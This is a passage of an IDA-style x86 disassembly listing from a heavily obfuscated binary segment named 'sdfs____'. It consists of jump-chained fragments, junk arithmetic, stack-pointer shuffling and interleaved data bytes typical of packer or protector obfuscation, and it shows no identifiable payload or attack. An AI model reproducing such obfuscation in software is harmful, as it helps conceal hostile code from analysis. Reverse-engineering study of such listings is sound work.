		and	cl, 89h
		or	cl, 0A0h
		sub	cl, 40h
		xor	cl, 0ADh
		push	eax
		push	edx
		mov	dh, 0C8h
		jmp	loc_5AD6B1
; ---------------------------------------------------------------------------


loc_59E0A3:				; CODE XREF: sdfs____:0059A2BEj
		add	edi, 4
		jmp	loc_5AB007
; ---------------------------------------------------------------------------


loc_59E0AE:				; CODE XREF: sdfs____:005AB97Aj
		shr	ecx, 4
		sub	ecx, 1F9B1D7Dh
		jnp	loc_5A28D5
		sub	ecx, 0AF237458h
		mov	esi, ecx
		jmp	loc_59E39B
; ---------------------------------------------------------------------------


loc_59E0CA:				; CODE XREF: sdfs____:005A5105j
		or	ecx, 3905694Bh
		sub	ecx, 10502B9Eh
		mov	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		push	4EA7440Fh
		jmp	loc_59BFE7
; ---------------------------------------------------------------------------
		db 1, 0C8h, 51h
		dd 17EFE9h, 7FEA8100h, 504B3E2Ah, 2F49F6B8h, 0E9B3E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E116:				; CODE XREF: sdfs____:005A845Fj
		shl	esi, 5
		js	loc_5AA995
		shl	esi, 3
		push	eax
		mov	eax, 489E53E5h
		sub	eax, 0DF3B741Bh
		xor	esi, eax
		jmp	loc_5A9F88
; ---------------------------------------------------------------------------


loc_59E134:				; CODE XREF: sdfs____:005A77EEj
		push	dword ptr [esp]
		jmp	loc_5AB47F
; ---------------------------------------------------------------------------
		dd 42474FFh, 8124148Bh,	4C4h, 24048F00h, 0D224248Bh, 0E99C2424h
		dd 0CD7Fh
; ---------------------------------------------------------------------------


loc_59E158:				; CODE XREF: sdfs____:005AD34Aj
		push	dx
		not	byte ptr [esp]
		pop	dx
		add	dl, 22h
		push	ebx
		mov	bl, 6Dh
		or	dl, bl
		jmp	loc_5A146E
; ---------------------------------------------------------------------------
		dd 4D4BE02Dh, 68D8016Bh, 1EC9h,	0BA241489h, 624B64D4h
		dd 4B8168h, 243C8900h, 0FFFD69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E18D:				; CODE XREF: sdfs____:005A69D2j
		pop	ebp
		add	esp, 4
		jmp	loc_5A5E27
; ---------------------------------------------------------------------------


loc_59E199:				; CODE XREF: sdfs____:00599D5Fj
		mov	edi, 3496158h
		mov	esi, 0BAB70C65h
		sub	esi, edi
		pop	edi
		add	esi, eax
		jmp	loc_59AD98
; ---------------------------------------------------------------------------


loc_59E1AD:				; CODE XREF: sdfs____:005ABBD1j
		add	ecx, 49C708B0h
		sub	ecx, ebp
		sub	ecx, 49C708B0h
		jmp	loc_5ACD73
; ---------------------------------------------------------------------------


loc_59E1C0:				; CODE XREF: sdfs____:0059DB39j
		sub	ebp, 4C010137h
		add	ebp, ecx
		add	ebp, 4C010137h
		jmp	loc_5A0BB0
; ---------------------------------------------------------------------------


loc_59E1D3:				; CODE XREF: sdfs____:005ADF03j
		sub	edx, 279E4AFEh
		xor	edx, 0C1BBB3C3h
		jmp	loc_5A52FF
; ---------------------------------------------------------------------------


loc_59E1E4:				; CODE XREF: sdfs____:005A2DDEj
		add	edx, 0EEBEF51Fh
		or	esi, edx
		pop	edx
		add	esi, 8B049406h
		add	ecx, esi
		pop	esi
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5A50B4
; ---------------------------------------------------------------------------


loc_59E20A:				; CODE XREF: sdfs____:005AFF2Ej
		pop	eax
		push	edx
		push	ecx
		mov	ch, bh
		mov	dh, ch
		pop	ecx
		jmp	loc_5AC890
; ---------------------------------------------------------------------------


loc_59E217:				; CODE XREF: sdfs____:005A81E7j
		add	esi, 179EF81Ch
		mov	eax, esi
		pop	esi
		xor	esi, eax
		pop	eax
		jmp	loc_5A8563
; ---------------------------------------------------------------------------


loc_59E228:				; CODE XREF: sdfs____:005AA6F9j
		and	edi, 2289779Eh
		shl	edi, 5
		inc	edi
		jmp	loc_5995A1
; ---------------------------------------------------------------------------


loc_59E237:				; CODE XREF: sdfs____:0059E46Bj
		sub	eax, ebx
		pop	ebx
		mov	edx, eax
		pop	eax
		and	ebx, edx
		pop	edx
		shr	ebx, 8
		shl	ebx, 4
		push	ebp
		mov	ebp, 0F95B2E72h
		add	ebx, ebp
		pop	ebp
		add	edi, 10E52413h
		add	edi, ebx
		push	ecx
		mov	ecx, 10E52413h
		jmp	loc_59D0BF
; ---------------------------------------------------------------------------


loc_59E262:				; CODE XREF: sdfs____:005A7D43j
		mov	bl, 0DDh
		push	3AD8h
		mov	[esp], ecx
		push	edx
		mov	dh, bl
		mov	cl, dh
		pop	edx
		jmp	loc_5AC34F
; ---------------------------------------------------------------------------


loc_59E277:				; CODE XREF: sdfs____:005A35AFj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5A8037
; ---------------------------------------------------------------------------
		dd 1C781h, 0EF810000h, 0C9A87529h, 0E95FFB89h, 0FFFFB179h
; ---------------------------------------------------------------------------


loc_59E294:				; CODE XREF: sdfs____:005A3BCEj
		push	1ACBh
		mov	[esp], ecx
		push	6E95h
		mov	[esp], edi
		push	1AE35115h
		mov	edi, [esp]
		jmp	loc_5ABC27
; ---------------------------------------------------------------------------


loc_59E2B1:				; CODE XREF: sdfs____:005A9AF2j
		movzx	eax, al
		jmp	loc_5A351C
; ---------------------------------------------------------------------------
		db 0E9h, 51h, 0AEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E2BE:				; CODE XREF: sdfs____:005A68B8j
		jmp	loc_59C82C
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 2DBA5224h, 8166300Dh, 0CFF2D7C2h,	6B09E999h
		dd 0CCBE0000h, 0E930B576h, 0D993h
; ---------------------------------------------------------------------------


loc_59E2E4:				; CODE XREF: sdfs____:005AEE45j
		push	edx
		jmp	loc_5A9A84
; ---------------------------------------------------------------------------


loc_59E2EA:				; CODE XREF: sdfs____:005AE43Cj
		shr	esi, 3
		jmp	loc_5A2A2E
; ---------------------------------------------------------------------------
		dw 0FE88h
		dd 0F056E9h
		db 0
; ---------------------------------------------------------------------------


loc_59E2F9:				; CODE XREF: sdfs____:005A4170j
		mov	ebp, 5D38059Ch
		inc	ebp
		not	ebp
		jmp	loc_5993C7
; ---------------------------------------------------------------------------


loc_59E306:				; CODE XREF: sdfs____:loc_5A68ADj
		sub	cl, 0DFh
		jmp	loc_5AA46A
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 4315C24h, 0F4E99C24h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E31B:				; CODE XREF: sdfs____:005A427Fj
		push	390Ch
		jmp	loc_5ABE6A
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 2BE9241Ch, 81000074h, 4ECh, 24148900h, 0D4770BAh
		dd 5AD03167h, 7B097625h, 0BE1FE96Eh, 88520000h,	0E9D2F6EAh
		dd 0E947h
; ---------------------------------------------------------------------------


loc_59E358:				; CODE XREF: sdfs____:005A316Ej
		mov	cl, 0A8h
		mov	ah, cl
		pop	ecx
		sub	dl, ah
		pop	eax
		add	dl, 85h
		add	ah, dl
		pop	edx
		mov	dl, ah
		pop	eax
		push	ebx
		mov	bh, 78h
		sub	bh, 64h
		jmp	loc_5AEE8D
; ---------------------------------------------------------------------------


loc_59E374:				; CODE XREF: sdfs____:0059DE08j
		pop	esi
		neg	ebp
		jmp	loc_5AAEAC
; ---------------------------------------------------------------------------


loc_59E37C:				; CODE XREF: sdfs____:0059B062j
					; sdfs____:005A7B61j
		add	edx, 26CF347Ch
		jmp	loc_5AFA39
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4E98100h, 87000000h, 8EE9240Ch
		db 0ECh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E39B:				; CODE XREF: sdfs____:0059E0C5j
					; sdfs____:005AFD8Bj
		mov	[esp], ebp
		mov	ebp, 6A666938h
		mov	esi, 57B19ED9h
		sub	esi, 350599Bh
		add	esi, ebp
		add	esi, 350599Bh
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59F866
; ---------------------------------------------------------------------------


loc_59E3C8:				; CODE XREF: sdfs____:0059D594j
		mov	[esp], edi
		jmp	loc_5AD401
; ---------------------------------------------------------------------------
		dd 51241C89h, 70E984B1h, 68FFFFC2h, 5D867425h, 6CE5815Dh
		dd 0E9610344h, 10598h
; ---------------------------------------------------------------------------


loc_59E3EC:				; CODE XREF: sdfs____:0059A824j
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_5AFB1C
; ---------------------------------------------------------------------------


loc_59E3FA:				; CODE XREF: sdfs____:0059B46Bj
					; sdfs____:005AAB08j
		shl	dl, 1
		jnp	loc_5A3599
		add	dl, 43h
		jmp	loc_59D6F7
; ---------------------------------------------------------------------------


loc_59E40A:				; CODE XREF: sdfs____:0059D0C2j
		mov	ebx, [esp]
		add	esp, 4
		push	5A14h
		mov	[esp], edi
		jmp	loc_5AFAF5
; ---------------------------------------------------------------------------


loc_59E41D:				; CODE XREF: sdfs____:0059C7D7j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3BF2062Fh
		shr	edi, 4
		push	eax
		mov	eax, 66020AB1h
		shr	eax, 5
		jmp	loc_59F4A6
; ---------------------------------------------------------------------------


loc_59E443:				; CODE XREF: sdfs____:0059C940j
		push	7770h
		jmp	loc_5AD674
; ---------------------------------------------------------------------------


loc_59E44D:				; CODE XREF: sdfs____:00599A5Cj
		mov	ebx, 6EE47C50h
		add	ebp, ebx
		jmp	loc_5AE65F
; ---------------------------------------------------------------------------


loc_59E459:				; CODE XREF: sdfs____:005A1ACFj
		and	ebx, 5CF3220Ah
		xor	ebx, 43DF7334h
		add	ebx, 4D6F95F2h
		jmp	loc_59E237
; ---------------------------------------------------------------------------
		dd 80FACC80h, 0E3300DF4h, 8BD90058h, 10E9241Ch,	83FFFFEAh
		dd 0C8904ECh, 52E18924h, 0CE668FBAh, 0E87CE94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E496:				; CODE XREF: sdfs____:005A8953j
		add	ebx, 4AC6549Ch
		add	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, 5C932C9Ch
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_59D52C
; ---------------------------------------------------------------------------
aQCh		db 'Q¹¸cH',0
		db 41h,	0E9h, 0EFh
		dd 6800011Bh, 544Fh, 55242489h,	4BDh, 246C0100h, 78E95D04h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E4D3:				; CODE XREF: sdfs____:005A31F0j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_5A2032
; ---------------------------------------------------------------------------
		dd 6061EA81h, 0D2F70747h, 0B223EA81h, 0D1014398h, 4E9815Ah
		dd 87000000h, 248B240Ch, 24148924h, 282468h, 24248900h
		dd 83D4E9h
		db 0
; ---------------------------------------------------------------------------


loc_59E50D:				; CODE XREF: sdfs____:0059BAB0j
		and	eax, 3D95181Fh
		shl	eax, 8
		inc	eax
		jmp	loc_5A209B
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA139FEEh, 0C8B5B38h, 4C48124h, 1000000h, 2434FFF3h
		dd 4C4815Eh, 31000000h,	241C8BD8h, 0B529E9h
		db 0
; ---------------------------------------------------------------------------


loc_59E541:				; CODE XREF: sdfs____:005A212Ej
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	322F7F49h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A29BD
; ---------------------------------------------------------------------------


loc_59E56D:				; CODE XREF: sdfs____:0059F78Fj
		jmp	loc_5AEB6A
; ---------------------------------------------------------------------------


loc_59E572:				; CODE XREF: sdfs____:00599232j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59C6E7
; ---------------------------------------------------------------------------


loc_59E586:				; CODE XREF: sdfs____:005A6BD4j
		add	ebp, 1
		jmp	loc_5AA5B7
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0Fh
		dd 0E1E488h, 50D8F700h,	582414F7h, 0BFEF4E2Dh
		db 9Ch,	89h, 0C3h
; ---------------------------------------------------------------------------


loc_59E5A7:				; CODE XREF: sdfs____:0059D185j
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		push	4
		pop	ebp
		jmp	loc_5A6C51
; ---------------------------------------------------------------------------


loc_59E5BB:				; CODE XREF: sdfs____:0059FC62j
		mov	[esp], ebx
		mov	ebx, 3E527154h
		shl	ebx, 4
		jmp	loc_5A2E28
; ---------------------------------------------------------------------------


loc_59E5CB:				; CODE XREF: sdfs____:005A2D8Bj
		push	edi
		xor	dword ptr [esp], 331D696Ah
		pop	esi
		xor	esi, 331D696Ah
		push	eax
		mov	eax, esi
		mov	ebp, eax
		pop	eax
		pop	esi
		jmp	loc_5A534B
; ---------------------------------------------------------------------------


loc_59E5E6:				; CODE XREF: sdfs____:005AC52Cj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	edi, [esp]
		jmp	loc_59EC35
; ---------------------------------------------------------------------------


loc_59E5F7:				; CODE XREF: sdfs____:0059DA52j
					; sdfs____:005A3C93j
		mov	esi, ebx
		jmp	loc_59BAEA
; ---------------------------------------------------------------------------


loc_59E5FE:				; CODE XREF: sdfs____:005A0975j
		add	esp, 4
		jmp	loc_5AC5FC
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 6Eh
		db 2 dup(1), 0
; ---------------------------------------------------------------------------


loc_59E60F:				; CODE XREF: sdfs____:loc_599F29j
		push	small 744Ch
		mov	[esp], cx
		jmp	loc_5A3856
; ---------------------------------------------------------------------------


loc_59E61C:				; CODE XREF: sdfs____:0059F889j
		jmp	loc_5A2A2E
; ---------------------------------------------------------------------------


loc_59E621:				; CODE XREF: sdfs____:005A293Aj
		push	edx
		push	ecx
		jmp	loc_5A0082
; ---------------------------------------------------------------------------


loc_59E628:				; CODE XREF: sdfs____:0059C4A5j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5AFA60
; ---------------------------------------------------------------------------


loc_59E63A:				; CODE XREF: sdfs____:005A452Ej
		pop	eax
		add	edx, 12C43BA9h
		pop	ebp


loc_59E642:				; CODE XREF: sdfs____:00599547j
					; sdfs____:0059E6C3j
		push	62Bh
		mov	[esp], edx
		push	ebp
		push	10466AC2h
		jmp	loc_5A3222
; ---------------------------------------------------------------------------


loc_59E655:				; CODE XREF: sdfs____:005A5A97j
		sub	ch, dh
		pop	dx
		jmp	loc_59BEE5
; ---------------------------------------------------------------------------


loc_59E65E:				; CODE XREF: sdfs____:0059C827j
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 49471F1Ch
		or	ebx, 772867D0h
		push	edi
		mov	edi, 80908028h
		add	ebx, edi
		jmp	loc_59CA81
; ---------------------------------------------------------------------------


loc_59E67D:				; CODE XREF: sdfs____:005A9410j
		xor	ebp, 0EDFFEB8Bh
		mov	edx, ebp
		pop	ebp
		sub	esi, 406F1677h
		add	esi, edx
		add	esi, 406F1677h
		pop	edx
		and	[edi+1Ch], esi
		pop	esi
		jmp	loc_59910F
; ---------------------------------------------------------------------------
aWs		db 'Wé<Ê',0
		align 4


loc_59E6A4:				; CODE XREF: sdfs____:005AA5DBj
		add	ecx, ebp
		add	ecx, 442D3DA4h
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_59E642
		mov	edx, 3F2D1666h
		add	edx, 22595C22h
		jo	loc_59E9DF
		inc	edx
		js	loc_5A4B26
		and	edx, 5DA21A64h
		jg	loc_59F78B
		inc	edx
		shl	edx, 6
		jnz	loc_5A161C
		mov	esi, edi


loc_59E6F9:				; CODE XREF: sdfs____:005AC3F5j
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		jmp	loc_59DC67
; ---------------------------------------------------------------------------


loc_59E707:				; CODE XREF: sdfs____:005AA8B9j
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 2E4C5AE2h
		inc	eax
		not	eax
		jmp	loc_5AFD96
; ---------------------------------------------------------------------------


loc_59E71A:				; CODE XREF: sdfs____:005AFBA6j
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_59F63C
; ---------------------------------------------------------------------------


loc_59E72B:				; CODE XREF: sdfs____:005AF134j
		xor	eax, ecx
		pop	ecx
		push	ecx
		mov	ecx, 12CF3CC5h
		shr	ecx, 6
		jmp	loc_599A55
; ---------------------------------------------------------------------------


loc_59E73C:				; CODE XREF: sdfs____:005A633Ej
		pop	ecx
		pop	ebp
		dec	ecx
		add	ecx, 0B9A7EC78h
		sub	edx, ecx
		pop	ecx
		push	ecx
		push	edx
		jmp	loc_59A412
; ---------------------------------------------------------------------------


loc_59E74F:				; CODE XREF: sdfs____:005B02B3j
		push	cx
		mov	cl, 9
		add	al, cl
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	cl, 68h
		sub	cl, 0CEh
		xor	cl, 0EEh
		add	al, cl
		pop	ecx
		sub	al, cl
		jmp	loc_5A9015
; ---------------------------------------------------------------------------


loc_59E77C:				; CODE XREF: sdfs____:0059C1D9j
					; sdfs____:005A580Aj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_59AE4E
; ---------------------------------------------------------------------------


loc_59E789:				; CODE XREF: sdfs____:005A5AEDj
		push	eax
		push	ecx
		pop	eax
		pop	ecx
		jmp	loc_5B0421
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 2FE1CB81h, 0E9433545h, 0FFFFE5AAh, 19DE95Ah,	0C2810000h
		dd 5F0A668Ch, 13E3EA81h, 0D1897382h, 0FE11E95Ah, 7EBDFFFFh
		dd 16F9A2Bh, 2434FFEBh
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59FEE3
; ---------------------------------------------------------------------------


loc_59E7CD:				; CODE XREF: sdfs____:005AF738j
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 4E4C08Dh, 0E932F480h, 0A730h
; ---------------------------------------------------------------------------


loc_59E7E8:				; CODE XREF: sdfs____:005AA4F9j
					; sdfs____:005AB6E7j
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, ebp
		push	1201h
		mov	[esp], edx
		add	dword ptr [esp], 6CA033D5h
		pop	eax
		jmp	loc_5AA418
; ---------------------------------------------------------------------------


loc_59E811:				; CODE XREF: sdfs____:005AD03Fj
		add	eax, esi
		pop	esi
		push	eax
		jmp	loc_5A83B6
; ---------------------------------------------------------------------------


loc_59E81A:				; CODE XREF: sdfs____:0059F616j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_5A105B
; ---------------------------------------------------------------------------


loc_59E828:				; CODE XREF: sdfs____:005AFA4Bj
		not	edi
		dec	edi
		neg	edi
		jmp	loc_5A9873
; ---------------------------------------------------------------------------
		dw 6D2Ch
		dd 24148B59h, 404C483h,	2CD82870h, 57896870h, 0C890000h
		dd 0B2B124h, 2E959C8h, 8B0000B1h, 0C4812414h, 4, 7A7DE9h
		dd 31FA3100h, 0F7FA87D7h, 87FA87D7h, 0D0E951D7h, 89000036h
		dd 9DBB241Ch, 50156455h, 491B94B8h, 58C33107h, 444AF381h
		dd 96E9227Ah
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E88F:				; CODE XREF: sdfs____:005995BDj
		mov	eax, 7DE30A1Bh
		add	eax, 93032A8h
		not	eax
		dec	eax
		jnp	loc_59C573
		jmp	loc_59B701
; ---------------------------------------------------------------------------
		db 5Ah
		dd 7516E9h
		db 0, 52h
; ---------------------------------------------------------------------------


loc_59E8AE:				; CODE XREF: sdfs____:005AC9F0j
		add	ebp, 196F300Ch
		not	ebp
		sub	ebp, 66B369DBh
		sub	ebp, 3544295Ch
		sub	edi, ebp
		pop	ebp
		add	edx, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5A341F
; ---------------------------------------------------------------------------


loc_59E8D2:				; CODE XREF: sdfs____:005ABB8Ej
		mov	dh, 9Ah
		add	dh, ah
		pop	eax
		jmp	loc_5A0DC5
; ---------------------------------------------------------------------------


loc_59E8DC:				; CODE XREF: sdfs____:0059A275j
					; sdfs____:005AA51Cj
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5A6BA5
; ---------------------------------------------------------------------------


loc_59E8FD:				; CODE XREF: sdfs____:005A3D4Dj
		jmp	loc_59D438
; ---------------------------------------------------------------------------


loc_59E902:				; CODE XREF: sdfs____:0059C641j
		xor	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	53133756h
		pop	esi
		mov	[edx+38h], esi
		pop	esi
		jmp	loc_5A5674
; ---------------------------------------------------------------------------


loc_59E918:				; CODE XREF: sdfs____:005A23B7j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 272C2ED3h
		sub	edx, 272C2ED1h
		jmp	loc_5ABBD6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 79E9241Ch, 100003Ah,	77E951D5h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E94B:				; CODE XREF: sdfs____:005A8D95j
		push	ebp
		mov	ebp, 2C8116F8h
		sub	ebp, 14EF62DFh
		inc	ebp
		jmp	loc_5A916B
; ---------------------------------------------------------------------------


loc_59E95D:				; CODE XREF: sdfs____:0059D8D8j
		push	6D39h
		mov	[esp], ebp
		mov	ebp, 628CB195h
		xor	edx, ebp
		mov	ebp, [esp]
		push	edi
		push	esp
		jmp	loc_5A5339
; ---------------------------------------------------------------------------


loc_59E976:				; CODE XREF: sdfs____:005A54F6j
		add	[esp], eax
		add	dword ptr [esp], 518A20BFh
		push	35C3h
		mov	[esp], edx
		push	ebp
		push	edx
		push	ebx
		push	221D10D8h
		pop	ebx
		shl	ebx, 5
		jp	loc_5AB6B3
		dec	ebx
		jg	loc_5A07C9
		jmp	loc_5AC15F
; ---------------------------------------------------------------------------


loc_59E9A6:				; CODE XREF: sdfs____:00599F61j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A3FEE
; ---------------------------------------------------------------------------


loc_59E9BB:				; CODE XREF: sdfs____:005AAAF7j
		push	ecx
		mov	ecx, 69061180h
		not	ecx
		jmp	loc_59983A
; ---------------------------------------------------------------------------


loc_59E9C8:				; CODE XREF: sdfs____:005A2DFFj
		sub	ecx, 8ECFF32Bh
		jmp	loc_5A63BC
; ---------------------------------------------------------------------------
		db 0B6h
		dd 8BCE28BFh, 14E9240Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E9DF:				; CODE XREF: sdfs____:0059E6D4j
		inc	edx
		js	loc_5A81DF
		and	edx, 5DA21A64h
		jmp	loc_5AD3F6
; ---------------------------------------------------------------------------
		db 0E9h, 19h, 0A7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E9F6:				; CODE XREF: sdfs____:005A864Cj
		inc	edx
		dec	edx
		xor	edx, 3ED03ECEh
		jmp	loc_5A7CBD
; ---------------------------------------------------------------------------


loc_59EA03:				; CODE XREF: sdfs____:005AC02Bj
		sub	cl, 54h
		add	cl, 2Dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dx
		mov	dl, 23h
		jmp	loc_5A61D6
; ---------------------------------------------------------------------------


loc_59EA1C:				; CODE XREF: sdfs____:005ABD3Cj
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A4034
; ---------------------------------------------------------------------------


loc_59EA30:				; CODE XREF: sdfs____:005A3C32j
		jp	loc_59FDFE
		add	ebx, 80C66AA1h
		add	ecx, ebx
		and	al, 0BFh


loc_59EA40:				; CODE XREF: sdfs____:005A20B1j
		xchg	eax, [esp]
		pop	ebx
		xchg	eax, ebx
		push	ebx
		push	eax
		pop	ebx
		pop	eax
		or	ebx, 204D498Ah
		jmp	loc_5B030D
; ---------------------------------------------------------------------------


loc_59EA54:				; CODE XREF: sdfs____:005A5B62j
		add	esi, 0EFFF1F57h
		mov	ecx, esi
		jmp	loc_5A0C23
; ---------------------------------------------------------------------------


loc_59EA61:				; CODE XREF: sdfs____:0059ADC6j
		sub	ecx, 3FB773FAh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5A75D0
; ---------------------------------------------------------------------------


loc_59EA6F:				; CODE XREF: sdfs____:005A222Fj
		pop	edx
		push	2732h
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_59F06C
; ---------------------------------------------------------------------------


loc_59EA94:				; CODE XREF: sdfs____:005AB027j
		add	eax, 4
		sub	esp, 4
		jmp	loc_5A0B1B
; ---------------------------------------------------------------------------


loc_59EAA4:				; CODE XREF: sdfs____:005ADEEBj
		inc	ecx
		jmp	loc_5AF166
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 0FFDD34E9h, 2CF32CFFh, 6DC3E965h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59EABA:				; CODE XREF: sdfs____:005A6098j
		add	eax, ebx
		sub	eax, 7C3A5B80h
		pop	ebx
		add	eax, 2
		push	esi
		mov	esi, esp
		jmp	loc_5A55B2
; ---------------------------------------------------------------------------


loc_59EACF:				; CODE XREF: sdfs____:005AC639j
		add	eax, 4
		jmp	loc_5AA6DC
; ---------------------------------------------------------------------------


loc_59EAD9:				; CODE XREF: sdfs____:0059AD9Ej
		add	esp, 4
		or	ecx, ecx
		jz	loc_5A2E82
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	edi
		push	ebx
		mov	ebx, 18760D4Bh
		mov	edi, 5428245Fh
		sub	edi, 35727F88h
		jnp	loc_59BAE5
		jmp	loc_5A2FCE
; ---------------------------------------------------------------------------


loc_59EB08:				; CODE XREF: sdfs____:005AA272j
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		jmp	loc_5A097A
; ---------------------------------------------------------------------------


loc_59EB19:				; CODE XREF: sdfs____:005A3C3Aj
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_59BED0
; ---------------------------------------------------------------------------


loc_59EB26:				; CODE XREF: sdfs____:005A1601j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5996EC
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 32h
aSr4		db '#(;éR4',0
		align 4


loc_59EB44:				; CODE XREF: sdfs____:005A6764j
		shl	edx, 2
		jns	loc_5A2416
		jmp	loc_5A722B
; ---------------------------------------------------------------------------


loc_59EB52:				; CODE XREF: sdfs____:0059F040j
		mov	ebp, 5DD96DAFh
		or	ebp, 653F685Bh
		add	ebp, 82009205h
		add	ebx, 5B124DD9h
		sub	ebx, 405B4A52h
		add	ebx, ebp
		add	ebx, 405B4A52h
		sub	ebx, 5B124DD9h
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 3BE805D3h
		add	eax, edi
		pop	edi
		sub	eax, 602A279Ch
		jmp	loc_5A2A4B
; ---------------------------------------------------------------------------
		db 89h
		dd 0C864E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EB9E:				; CODE XREF: sdfs____:0059F668j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A1EB5
; ---------------------------------------------------------------------------


loc_59EBC3:				; CODE XREF: sdfs____:0059F561j
					; sdfs____:loc_5AA46Aj
		mov	ebp, ebx
		jmp	loc_5ADE3F
; ---------------------------------------------------------------------------


loc_59EBCA:				; CODE XREF: sdfs____:0059A9EFj
		and	ebp, 78AC6725h
		jmp	loc_5A2F62
; ---------------------------------------------------------------------------


loc_59EBD5:				; CODE XREF: sdfs____:0059F293j
		sub	bh, ah
		jmp	loc_5AF08C
; ---------------------------------------------------------------------------


loc_59EBDC:				; CODE XREF: sdfs____:005A530Cj
		add	eax, ebp
		add	eax, 55C02C53h
		sub	eax, 5CF803E6h
		sub	eax, 34A157E2h
		mov	ebp, [esp]
		jmp	loc_59D73E
; ---------------------------------------------------------------------------


loc_59EBF5:				; CODE XREF: sdfs____:0059A65Fj
		ja	loc_59C77B
		add	edx, 0E76B7FD6h
		dec	edx
